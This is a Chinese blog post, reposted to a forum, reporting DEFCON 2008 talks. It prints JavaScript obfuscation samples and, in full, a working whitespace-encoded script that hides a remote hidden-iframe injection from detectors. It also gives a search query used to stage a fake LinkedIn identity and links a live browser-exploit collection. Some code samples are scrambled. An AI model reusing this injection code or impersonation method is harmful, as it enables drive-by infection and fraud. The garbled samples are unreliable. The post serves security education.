一下子就講完了,但是獲得台下好大的掌聲,後來立刻大家也提了很多的問題。我覺得 這種會就是這樣,你只要有東西,不用裝強,大家就會聽你說。 Kolisar 首先介紹了各種 javascript 的編碼方式,我在「美國駭客年會 Black Hat 2008 觀察--第二天」中也記錄了 Billy Hoffman 舉的(注98) 各種不同 javascript 的變形方式,也利用 malwareguru.org(注99) 介紹了線上許多不同的 javascript 變形器。這邊把之前的文貼一些過來。 注98. http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY 注99. http://www.malwareguru.org/ 我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿(注100)」來看好了, 其中用的一段範例 javascript: 注100. http://armorize-cht.blogspot.com/2008/08/registerweb.html function IE_ClipBoard() { if (window.clipboardData) { window.clipboardData.setData("Text","Hello from Wayne!"); } } 1. Vanishing Point Packer(網頁(注101)、malwareguru 上提供的線上 demo(注102)) eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{})) 注101. http://code.google.com/p/vanishingpoint/ 注102. http://malwareguru.com/JSPacker/JavaScriptPacker.php 2. Yellopipe source code encrypter: (注103) document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B %20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A% 20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from %20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20")); document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A% 7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D% 0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello% 20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20% 20")); 注103. http://www.yellowpipe.com/yis/tools/source-encrypter/index.php 3. Audit My PC HTML Encoder:(注104) document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020 \u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u00 64\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u 0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\ u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061 \u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069 \u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061 \u0072\u0064\u 0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061 \u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006 C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u00 6E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0 020\u0020\u000D\u007D\u0020\u0020'); 注104. http://www.auditmypc.com/html-encoder.asp 4. 中國的「网?免? 孤程?雪」線上服務: (注105) 注105. http://www.cha88.cn/safe/jsvbscode.php 以上1.~4.詳見部落格說明較清楚 Kolisar 的公司在美國每一個城市幾乎都有辦公室,他的工作是事件處理,從本部飛到每 一個辦公室支援。這兩年他著實看了不少的網站掛馬與變形的 javascript,於是他整理 如何辨識變形過的 javascript 如下: 1. 經過 escape 的 ASCII / UNICODE 的字串。 範例 1: eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f ... %35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29')); eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f ... %35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29')); 範例 2: document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\ uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O ... \u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d \u0065\u003e'); 2. XOR(ASCII 值) 範例:function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i < plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str; } function asd(a,b) {}; function qwe(c,i) {}; var plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96 ... \x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str); function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i < plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str; } function asd(a,b) {}; function qwe(c,i) {}; var plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96 ... \x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str); 3. XOR(字元編碼) 範例: str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!<!enbtldou/bsd'udDmdldou)&nckdbu&(:^L^Kfggrdu@uushctud)&he&-&fgg(:^L^Kfgg/rdu@uushctud)&tb`rrhe&&bm&*&rh&*#e;CE#*#87B4#*&47,74@ ... ubi)d(z||"; str2=""; for (i=0;i<STR.LENGTH; <br eval(str2); str2="str2+Strng.fromCharCode(str.charCodeAt(i)^1);};" { i++) /> str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!... ubi)d(z||"; str2=""; for (i=0;i 4. 拆字 範例 le="rame>"; ok="docum"; uk="eight=0></IF"; aj="t.write("; em="dth=0 h"; cg="<IFRAME"; nr="e src=/x.htm wi"; eval(ok+aj+cg+nr+em+uk+le); le="rame>"; ok="docum"; uk="eight=0>aj="t.write("; em="dth=0 h"; cg="nr="e src=/x.htm wi"; eval(ok+aj+cg+nr+em+uk+le); 5. 簡單的編碼 範例 function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13, ... ,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j==) {r=''; for (i=Math.min(l,b);i>0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])<<S;IF(S){R+=STRING.FROMCHARCODE(165^W&225);W>>=8;s-=2}else{s=6}}document.write(r)}} decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3 ... Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I"); 但是以上這些,在有經驗的資安專家眼中,還是很快會被「懷疑」。當然不是變形過的 javascript 就是惡意的,因為 javascript 變形很普遍(見此文(注106)),並不是所有 變形過的 javascript 都一定是惡意的。但是,至少會引來懷疑。 注106. http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY Kolisar 整理說,基本上碰到有以下幾點的 javascript,他都會懷疑並花時間確認: 1. eval() 2. unescape() 3. document.write() 4. 很長並且沒有意義的字串: * Escape 過的 ASCII / Unicode 字串 * 加密過的字串 * 等等 好,所以 Kolisar 就想,如果要隱藏一個惡意的 iframe 到一個 HTML 文件裡,但是又 不 要那麼明顯,該如何做? 於是他決定,第一,還是用 document.write() 來寫出來,但是又不要實際上有 document. write()。該如何做呢?首先他利用以下這段程式(我稍微修改過)取得 "document" 這 個字串: h = this; for (i in h) if(i.length == 8 && i.charCodeAt(0) == 100) break; h=this 所以 h 就是 window。for (i in h) 把 h 裡的每一個 properties 都走一遍, 而 長度等於 8 而已 "d" (ASCII 100) 開頭的,就只有 "document"。 同樣的,接下來 Kolisar 取得 "write": for (j in h[i]) if(j.length == 5 && j.charCodeAt(0) == 119) break; 在 document 裡,長度是 5 而以 "w" 開頭的,就只有 "write" 了。 同樣的使法,取得 "getElementById": for (k in h[i]) if(k.length == 14 && k.charCodeAt(0) == 103) break; 這個手法最有趣的地方,就是惡意 javascript payload 擺的方式。payload 不僅用 whitespaces / tabs 來編碼,而且就直接擺在上述這些 javascript 的每一行後面。 這一段 javascript,Kolisar 用: <script id='p'> 來開頭。所以現在我們要解碼,就必須先取得 "p" 這個 DOM 物件。有了 "document" 以 及 "getElementById",這不是問題,下面這一行搞定: r=h[i][k]('p'); 這行等於 r=this.document.getElementById('p') ,但是乍看之下並不明顯。這就是巧 妙處之一。 要讀到我們偷放的 whitespaces / javascript,必須要透過 r.innerHTML,於是再做一 次: for (l in r) if(l.length == 9) && l.charCodeAt(0) == 105) break; 一切就緒,接下來就只剩把 whitespaces / tabs 轉成我們要 document.write 出來的 iframe, 然後最後把字串 "o" 寫出來: 乍看之下,之前我們說的特徵都沒有:eval()、document.write()、很長的奇怪字串... 等。 有趣吧!但是其實啊,要躲避目前坊間各家的網頁掛馬偵測,不需這麼複雜,就像 Billy (注107) 說的,改寫 vbscript 就好了。目前坊間幾乎都是靜態分析,但是 javscript 這種這麼 動態的 語言(可以動態產生程式碼)完全不適合用靜態分析。即使號稱有動態分析的,都試用 spidermonkey 兜的,碰到駭客目前使用的一些專門對付 spikermonkey 的 javascript 或任何 vbscript,就失效了。所以除非做的像 HackAlert(注108),不然偵測率會越來越低。 注107. http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY 注108. http://hackalert.armorize.com/ Kolisar 的整段程式碼如下: &lt;script id='p'&gt; d=1; e=76; h = this; for (i in h) { if(i.length == 8) { if(i.charCodeAt(0) == 100) { if(i.charCodeAt(7) == 116) { break; } } } } for (j in h[i]) { if(j.length == 5) { if(j.charCodeAt(0) == 119) { if(j.charCodeAt(1) == 114) { break; } } } } for (k in h[i]) { if(k.length == 14) { if(k.charCodeAt(0) == 103) { if(k.charCodeAt(3) == 69) { break; } } } } r=h[i][k]('p'); for (l in r) { if(l.length == 9) { if(l.charCodeAt(0) == 105) { if(l.charCodeAt(5) == 72) { break; } } } } a=r[l]; b=a.split('\n'); o = ""; for(c=3; c &lt; (e+3); c++) { s=b[c]; for(f=0; f &lt; d; f++) { y = ((s.length - (8*d)) + (f*8)); v = 0; for(x = 0; x &lt; 8; x++) { if(s.charCodeAt(x+y) &gt; 9) { v++; } if(x != 7) { v = v &lt;&lt; 1; } } o += String.fromCharCode(v); } } h[i][j](o); &lt;/script&gt; 我在以上程式碼中,利用 whitespaces / tabs 編碼加入了以下這行: <iframe src="http://malwareguru.com/kolisar/bad.html" style="display: none"> 所以您如果執行以上 javascript,這一行最後會被 document.write 出來。其實,如果 您選取部分 上面的程式,從反白的地方,您就可以清楚地看到隱藏的 whitespaces / tabs 了: 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/kolisar_script.png
想玩玩看嗎?我架了一份在這裡(注109)。 注109. http://malwareguru.com/kolisar/WhiteSpaceEncode.html 另外這邊提醒的是,這種手法不一定只用來內嵌 iframe,可以直接內嵌一個 javascript 攻擊程式, 直接攻瀏覽器漏洞或外掛漏洞。MalwareGuru 上有一些測試用的此類攻擊程式(注110)。 注110. http://www.malwareguru.org/mediawiki/index.php/Collection_of_working_(live)_browser_exploits_(malware) 這次與 Kolisar 聊了很久,後來聊到他的興趣,他說是變魔術。我說真的假的?他說當 然,他很小 就開始了。每個魔術都是一個謎題(puzzle),他邊看邊想著破法,很著迷,當然也自己 表演。 後來談到 Medeco,他又說他也迷開鎖(locksport),因為每個鎖其實就是精心設計的一 套謎題 (puzzle)。這讓我想到 Kuon 曾經跟我說:「解加殼過的惡意程式很有趣,因為每一個 樣本就是 一個 puzzle」。Kolisar是他們公司逆向工程解惡意程式(脫殼)的第一把交椅,不是也 是這樣嗎 ?看來會做到資安這行,跟先天基因絕對有關係。我的外祖父賣了一輩子的魔術道具,我 從小就一 直設法破他設計的魔術,或跟他一起研究他那些堆積如山的魔術師錄影帶。 我目前正在跟 Kolisar 做一些很有趣的研究,有成果時在跟各位分享! 4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路( Satan is on my friendlist: Attacking Social Networks)(Black Hat(注111)、DEFCON(注112)、 官方投影片 (不完整)(注113)、講師會後公開之投影片(完整)(注114)whitepaper(注115)、訪問 影片(注116)) 注111. https://www.blackhat.com/html/bh-usa-08/bh-usa-08-archive.html#Moyer 注112. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Hamiel 注113. https://www.blackhat.com/presentations/bh-usa-08/Moyer_Hamiel/BH_US_08_Moyer_Hamiel_Satan_is_on_my_Friends_List_Slides.pdf 注114. http://www.hexsec.com/docs/Satan_Blackhat_Defcon.pdf 注115. https://www.blackhat.com/presentations/bh-usa-08/Moyer_Hamiel/BH_US_08_Moyer_Hamiel_Satan_is_on_my_Friends_List_Whitepaper.pdf 注116. http://tw.youtube.com/watch?v=2lGKzHYBXtQ Nathan 跟 Shawn 今年的演講很賣座,但是我在 Black Hat 時沒空去聽,今天趕緊先去 佔位子。 社交網站,是下一波資安的大漏洞,我完全同意。只是這種研究最近很多人都在做,故題 目本身並 不算太新。Nathan 跟 Shawn 先介紹了各大社交網站的 XSS (注117)或 CSRF(注118) 漏 洞,並示 範得很清楚,觀眾也都看得很過癮。Nathan 跟 Shawn 是非常好的講師,兩個人配合起來 ,像唱雙 簧一樣,一搭一唱,效果十足。他們公布的漏洞也都很具體,也很嚴重。但是對於這些社 交平台有 XSS 或 CSRF,我一點都不感到意外;事實上我們也有發現不少,只是沒有公開。 注117. http://en.wikipedia.org/wiki/Cross-site_scripting 注118. http://en.wikipedia.org/wiki/Cross-site_request_forgery 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3022_ filtered_wbed_cropped_730_1.jpg 這場比較吸引我的,倒是後來介紹的社交工程實驗。Nathan 跟 Shawn 決定在 LinkedIn( 注119) 上製造一個假的身份,看有多少人受騙。在爭取到 Markus Ranum(注120)(實做出第一 套商業 防火牆 SEAL、前 NFR 的創辦人兼 CEO、目前 Tenable(注121) 的 CSO)的同意後,Nat 跟 Shawn 就開始在 LinkedIn 上自己「幫」Marcus 建立了一個帳號。他們從網路上抓了他 的照片, 資料也都從 Marcus 的官方網站(注122)剪貼過來,填得頭頭是道。 注119. http://www.linkedin.com/ 注120. http://www.ranum.com/ 注121. http://www.tenablesecurity.com/ 注122. http://www.ranum.com/ 接下來要找一些人把這個假的 Marcus 加入好友,這樣這個帳號看起來才像。網路上很多 人對於 建立線上社交網路很積極,只要你要求把他們加入好友,他們都會答應。Nat 跟 Shawn 用了以下 這個 Google hacking 查詢: "invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked. com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates 從完成假帳號的建立,到使用 Google hacking,到送出約 50 個加入好友 request,只 花的一 小時。十二個小時後,這個假帳號已經建立了 42 個關連,使得帳號看起來更真實了。不 到半天 的時間,這個帳號就已經加入了一些資安圈的重要社交群組。接下來就等待看有沒有人送 要求過 來,希望把假 Marcus 加入好友了。 結果是,很多人送訊息過來,表達在線上遇到 Marcus 實在太好了一些資安界重量級人物 也要求 把假 Marcus 加入好友,更多人送訊息來跟假 Marcus 討論最新的資安議題...沒有一個 人懷疑 這個帳號的真實性!而這一切,都是在二十四小時內完成的! 其實本來就是這樣,社交工程一項都是資安裡攻擊者最好用的手法。也難怪這個 blog到 目前為止 ,最多篇文章的分類就是「社交工程(注123)」。 注123. http://armorize-cht.blogspot.com/search/label/%E7%A4%BE%E4%BA%A4%E5%B7%A5%E7%A8%8B%E6%89%8B%E6%B3%95 以下是 Nat 與 Shawn 在這次 Black Hat 時所接受的訪問: 影片: http://www.youtube.com/watch?v=2lGKzHYBXtQ
5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls) (大會介紹(注124)、投影片(注125))< 注124. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Henrique 注125. http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-henrique.pdf 來自巴西的講師 Wendel(注126) 是巴西滲透測試公司 Intruders Tiger Team Security( 注127) 的成員,也是 Hackaholic(注128) 的成員(但是我之前都不認識他)。Google 了一下倒 發現他 也是今年 H2HC(注129) 的講師。 注126. http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Henrique 注127. http://www.intruders.com.br/ 注128. http://hackaholic.org/ 注129. http://www.h2hc.com.br/en/palestrantes.html#WendelHenrique 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3043_filter ed_cropped_730.jpg Wendel 講得很認真,並且有當場 demo 他介紹的技巧如何運用於打穿 Citrix Netscaler 這個 WAF。但是說實在我並沒那麼意外,原因有二。第一,真的要攻擊 WAF,看我之前寫的 Black Hat 第二天 Arian Evans 那場(注130)就知道了,人家只是客氣沒有當場 demo 而已。況且這 也不是 什麼新聞,從以前到現在,各大跟 Web 相關的 mailing list(不好意思寫明啦!),只 要談到 WAF vs. Scanning(黑箱或白箱)(阻擋攻擊或修改漏洞),就會一長串口水戰,做 WAF 說 WAF 好,做 scanner 的說 WAF 只能擋小部分攻擊等等... 阿碼科技的看法則是,不同客戶有 不同的 需求,資安團隊的使命就是了解客戶需求,提供專業的建議並實際解決客戶問題,所以並 不會預 設立場,也因為這樣我們 WAF(SmartWAF(注131))跟 scanner(CodeSecure(注132))都 有,而 且現在還可以整合,由 scanner 吐弱點設定檔給 WAF。 注130. http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ARIAN 注131. http://www.armorize.com/corpweb/en/products/smartwaf 注132. http://www.armorize.com/corpweb/en/products/codesecure 第二個原因是,WAF 只是工具,WAF 的自我學習能力再強,也沒有辦法取代人為設定的重 要。 就像是選生病醫生,有人喜歡選大醫院因為「設備」比較好。我以前也是這樣,但是有了 很多 經驗,也看多了,聽多了之後,現在我都選醫生。超音波,斷層掃瞄的設備再好,都只是 幫醫 生做判斷。沒有經驗的醫生,用再好的儀器,都還是沒用,書本上讀的,跟實際有很大的 差距。 有經驗的醫生,有時看一下病人臉色,問一兩個問題,就可以做出正確的判斷,照都不用 照。 WAF 也是一樣,WAF 是資安團隊的工具,在來不及把弱點修改好之前,WAF 可以提供一定 程度 的防禦力。但是 WAF 不是買來就好,重點是設定。我之前就提過了(注133),「...如果 找對好 的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。」 注133. http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ARIAN 如果你的網站是採用主機代管,由具備 SOC 能力的 hosting provider 幫忙處理 security, 那不能只是選對方用什麼設備。就像你選銀行的保險箱放重要的東西,銀行告訴你他們採 用了 全美國最好的 Medeco 保險箱,那你必須知道: 1. 即使是 Medeco,今年也被破了(注134)。 2. 但是更重要的是,銀行買了 Medeco,結果到底有沒有上鎖?如果買了結果都沒鎖,有 用嗎? 3. 安全不能靠單點而要靠 layered security(注135),銀行用了好的保險箱,但是有沒 有監控 系統?有沒有人在顧監控系統?大門有沒有警衛? 注134. http://armorize-cht.blogspot.com/2008/08/defcon-2008.html#MEDECO 注135. http://en.wikipedia.org/wiki/Layered_security 我們把 SmartWAF (注136)賣給代管廠商,就像我們把保險箱賣給了銀行一樣。銀行到底 有沒有 好好用,到底有沒有上鎖(SmartWAF 到底有沒有打開?)我們盡全力去影響,但是畢竟 我們無 法直接管對方。 注136. http://www.armorize.com/corpweb/en/products/smartwaf 6. 黑白帽相見歡(Meet the Feds)(大會介紹)(注137) 聽完了 Wendel 的演講,接著就是每年 Black Hat 以及 DEFCON 各有一場,很好玩的黑 白帽相 見歡(Meet the Feds)啦!MTF 每年都是大陣仗,今年也不例外,美國與加拿大兩個政 府總共 出動了 11 個相關單位代表: 注137. https://www.defcon.org/html/defcon-16/dc-16-speakers.html#PanelMTF 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3222_f iltered_WBed_Cropped_730.jpg 上面照片從左至右的 11 人分別是: 1. Rod Beckstrom(注138):美國國土安全部(DHS)(注139)新單位--國家資安中心 (National Cyber Security Center、NCSC(注140))」首席,為今年美國政府資安界的 當紅 新人炸子雞。(注141) 注138. http://en.wikipedia.org/wiki/Rod_Beckstrom 注139. http://www.dhs.gov/ 注140. http://en.wikipedia.org/wiki/National_Cyber_Security_Center 注141. http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ROD 2. Lin Wells: 美國國防部網路與資訊整合副次長(白話說法就是美國國防部的副 CIO) (Principal Deputy Assistant Secretary of Defense, Networks and Information Integration(注142)),此次代表美國國防大學(National Defense University(注143) ) 注142. http://armorize-cht.blogspot.com/2008/08/Assistant%20Secretary%20of%20Defense%20for%20Networks%20&%20Information%20Integration 注143. http://www.ndu.edu/ 3. Richard Marshall:美國國家安全局(National Security,NSA(注144)) 注144. http://www.nsa.gov/ 4. Mischel Kwon:美國電腦安全緊急應變中心(US-Cert) (注145) 注145. http://www.us-cert.gov/ 5. 美國國稅局(IRS) (注146) 注146. http://www.irs.gov/ 6. Jim Christy(主席):美國國防部網路犯罪中心 (Department of Defense Cyber Crime Center,DC3)(注147) 注147. http://www.dc3.mil/ 7. Tom Pownall:加拿大聯邦警察(Royal Canadian Mounted Police,RCMP)(注148) 注148. http://www.rcmp-grc.gc.ca/ 8. Barry Grundy:美國太空總署電腦犯罪科(NASA Computer Crime Division) 9. David Helfen:美國海軍罪案調查處(Naval Criminal Investigative Service, NCIS) (注149) 注149. http://en.wikipedia.org/wiki/Naval_Criminal_Investigative_Service 10. Ray Kessenich:美國國防網路調查訓練學校 (Defense Cyber Investigation Training Academy,DCITA)(注150) 注150. http://www.dc3.mil/dcita/dcitaAbout.php 11. James Finch:美國聯邦調查局(Federal Bureau of Investigation,FBI)(注151) 注151. http://www.fbi.gov/ 別看加拿大還來湊熱鬧,事實上這些單位(尤其是比較老的)之間互動非常頻繁,加拿大 自 90年代後期就一直是美國這些單位的重要聯盟伙伴(見此 1998 新聞,RCMP 聯合 FBI、 NASA 與 DC3 抓駭客(注152))。 注152. http://www.efc.ca/pages/media/ap.06apr98.html 為什麼 NASA 也來呢?NASA 其實在駭客史上是常出現的,因為 NASA 從早期大家就知道 , 很多好機器,名聲有大,所以大家喜歡攻...還有重點是,其實不難攻,只是會被抓。另 外 由於各界都對 NASA 的研究很有興趣,所以 NASA 很早就有 website,並有很大的流量。 我記得 1995 年世紀大彗星Hale-Bopp被發現時,大家都是到 NASA 的這個網頁來看資料 與 照片(注153)。到 1997 年時,這個網頁已經有一天超過一百萬次的流量了。如果當初有 網 頁掛馬,想一想一個一天有一百萬次流量,但是又不太難攻的網頁,對駭客的吸引力會有 多大。所以在與駭客作戰方面,NASA 一直算「有經驗」的單位 :) 注153. http://www2.jpl.nasa.gov/comet/ IRS 會來也是差不多原因,但是比 NASA 還多一個強處。美國抓到人卻無法有效舉證判罪 時 ,都是出動 IRS。個人意見,在美國得罪 IRS 比得罪 FBI 還慘。 這場我是從頭笑到尾,我坐正中間第一個位子,一直笑道腰都直不起來。台上風光介紹每 個 人的資歷,很多人都是科班出身,意思就是美國政府很強啦。台下我後面大家竊竊私語, 像 蒐集戰利品一樣: 「嗯,來了 11 個,我這幾年加起來,打進了 3 個」 「遜,我 5 個」 「那要看哪 5 個,有一些太容易啦!」 「還有不要跟我說你的是 xss,要開出 shell 的才算」 問問題大排長龍,問的答的都很好笑。 問:「我們要如何判斷什麼是合法的資安研究,什麼是違法的駭客行為?」 答:「下一個!」 問:「就這樣?!」 答:「你哪裡來的?」 問:「俄羅斯」 答:回頭看比 抓起來的手勢:「下一個!」 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3237_f iltered_Wbed_cropped_730.jpg 此次被指定回答最多的,就是 FBI 的先生啦!不過似乎他怎麼回答大家都不相信他的樣 子... 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3198_filte red_cropped_WBed_730.jpg 不過看來這些單位來,還有一個大目的,就是招募人才。回答中各單位一再重複,加入有 多好 多好,履歷要投到哪裡等等,問的問題也有好幾個是這方面的。有好幾位代表很年輕並且 感覺 技術底子很夠,或之前蠻「黑」的。我覺得這樣對這些單位的形象,絕對有很大的加分作 用, 因為台上一方面感覺有料,一方面又讓台下感覺,有料可以幫國家做有義意的事,而不是 在黑 暗處搞破壞或被人利用。恩,肯定這場 panel! 我記得還有一題我笑得抬不起來,後面也是,是這題: 問:「發現重大漏洞真的不能直接完整揭露(full disclosure)(注154)嗎?」 注154. http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index.html 答:「絕對不行!一定要有耐心跟對方溝通,協助處理完後方可公開!」 聽了快笑死了,每次對方只要是超級大單位,就是先丟一份保密合約(NDA)給我們簽: 「不簽就不繼續談」。但是簽了就表示,我們過去現在未來,即使在漏洞修好後十年,或 十年 後漏洞都還沒修,只要對方不同意,我們就不能公開。你沒看早上第一場 Medeco(注155) , Schuyler 探討與對方互動第一原則,就是「絕對不可簽署保密合約」。這方面我回來有 表示過 意見,沒想到媒體也有報導出來(注156)。這樣要叫我們如何「有耐心跟對方溝通」?不 簽對方就不 溝通啊呵! 注155. http://armorize-cht.blogspot.com/2008/08/defcon-2008.html#MEDECO 注156. http://www.ithome.com.tw/itadm/article.php?c=50462 結束後我冒著大會攝影機還在拍的風險,去找了這位回答的先生討論,因為我知道他私下 處理了 不少這類的問題,也幫了不少人。他給了一些聯絡資訊,嗯,以後一定會有用的,心裡想 ,但是 其實我應該去要那位 IRS 先生的聯絡方式,因為我們發現貴單位網站有漏洞很久了。但 想想算 了,等其他人發現去告訴他吧,我才不淌這種麻煩。 7. NIST:量子加密(Quantum Cryptography) 這場結束後今天也就大功告成啦,等一下還有聚會,真是累死人。利用空檔去繞了一些展 示區, 發現美國國家標準局(NIST(注157))有來展示量子加密(quantum cryptography(注158) )。我 資格考考了兩科 quantum,唸了很多 Alice 跟 Bob,但是從沒看過 live 系統,今天真 是大開眼 界啊!NIST 的研究員正在吃飯,卻放下食物好心的整個跟我解釋了一遍,真是感動,謝 謝各位, 系統做得真的太帥了! 注157. http://www.nist.gov/ 注158. http://en.wikipedia.org/wiki/Quantum_cryptography 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3085_fi ltered_WBed_cropped_730.jpg 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3090_filt ered_wbed_cropped_730.jpg 8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces(注159)) 最後繞道了大門外,參觀了一下今年第一次從科羅拉多開過來展是的移動駭客空間( Mobile Hacker Spaces)。移動駭客空間在這個社群中很紅,因為可以開車到處偷別人的無線訊號來做 ... 研究 ... 咳...咳... 注159. https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Wilhelm 圖片: http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3148_fi ltered_WBed_cropped_730.jpg 其實設計這台車的不是別人,就是開放源碼滲透測試工具包 De-ICE.net PenTest LiveCD(注160) 的創辦人 Thomas Wilhelm,目前為美國某前 50 大(fortune 50)企業的資安人員,也 正在念博士 班。Thomas 與朋友合著有:「Penetration Tester's Open Source Toolkit, Volume 2( 注161)」、 「Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research(注162)」、以及「Netcat Power Tools(注163)」等有名的資安工具書。 注160. http://heorot.net/livecds/ 注161. http://www.amazon.com/Penetration-Testers-Open-Source-Toolkit/dp/1597492132/ref=sr_1_1?ie=UTF8&s=books&qid=1220527384&sr=1-1 注162. http://www.amazon.com/Metasploit-Penetration-Development-Vulnerability-Research/dp/1597490741/ref=sr_1_1?ie=UTF8&s=books&qid=1220527532&sr=1-1 注163. http://www.amazon.com/Netcat-Power-Tools-Jan-Kanclirz/dp/1597492574 終於寫完啦,一天寫一點時間真的不夠用,感謝閱讀!我會湊出時間把第二三天也寫完的 , 會合寫成一篇只敘述重要的演講。 作者 Wayne 為 阿碼科技(注164) CEO 注164. http://www.armorize.com/ 相關文章: 「駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?」 http://armorize-cht.blogspot.com/2008/08/black-hat-defcon-2008.html 「美國駭客年會 Black Hat 2008 觀察--第二天」 http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html 「美國駭客年會 Black Hat 2008 觀察--第一天」 http://armorize-cht.blogspot.com/2008/08/black-hat-2008.html 轉貼自: http://armorize-cht.blogspot.com/2008/08/defcon-2008.html -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 60.250.42.178 ※ 編輯: deephoe 來自: 60.250.42.178 (09/05 19:48) ※ 編輯: deephoe 